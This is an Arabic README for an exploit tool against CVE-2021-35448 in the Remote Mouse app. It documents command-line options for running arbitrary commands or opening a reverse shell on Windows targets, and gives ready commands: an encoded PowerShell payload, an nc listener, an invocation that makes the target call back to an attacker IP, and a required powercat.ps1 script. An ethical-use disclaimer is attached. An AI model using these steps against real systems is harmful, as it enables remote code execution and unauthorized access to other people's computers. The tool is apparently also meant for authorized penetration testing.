CVE-2021-35448 - استغلال Remote Mouse

الوصف

يستهدف هذا الاستغلال الثغرة CVE-2021-35448 في تطبيق Remote Mouse (المعروف سابقًا باسم WiFi Mouse).

إثبات المفهوم

CVE-2021-35448.webm

الاستخدام

الصيغة الأساسية

python3 CVE-2021-35448.py -t <TARGET_IP> [OPTIONS]

الخيارات

• -t, --target: عنوان IP للهدف (مطلوب)
• -p, --payload: أمر مخصص للتنفيذ
• -r, --reverse: صدفة عكسية بتنسيق IP:PORT
• -l, --http: خادم HTTP محلي بتنسيق IP:PORT (مطلوب مع -r)

أمثلة الاستخدام

1. أمر مخصص

python3 CVE-2021-35448.py -t 192.168.1.100 -p "Powershell -e JAB...=="

2. الصدفة العكسية (موصى به)

# Terminal 1 - Listener
nc -nlvp 4444

# Terminal 2 - Exploit
python3 CVE-2021-35448.py -t $REMOTESERVER_IP -r $REVSHELL_IP:$PORT -l 0.0.0.0:$PORT

المتطلبات الأساسية

الملفات المطلوبة

• CVE-2021-35448.py: البرنامج النصي الرئيسي للاستغلال
• powercat.ps1: برنامج نصي لـ PowerShell للصدفات العكسية

النظام المستهدف

• تطبيق Remote Mouse مثبت وقيد التشغيل
• نظام Windows (تم اختباره على Windows 10)

تحذير

⚠️ للاستخدام الأخلاقي فقط ⚠️

هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرح به فقط. الاستخدام غير المصرح به لهذا الاستغلال غير قانوني وقد يؤدي إلى الملاحقة القانونية.

المراجع

• WiFi Mouse 1.7.8.5 - تنفيذ التعليمات البرمجية عن بُعد
• تفاصيل CVE-2021-35448

المؤلف

طُوّرت لأغراض التعليم واختبار الاختراق الأخلاقي.

آخر تحديث: 2025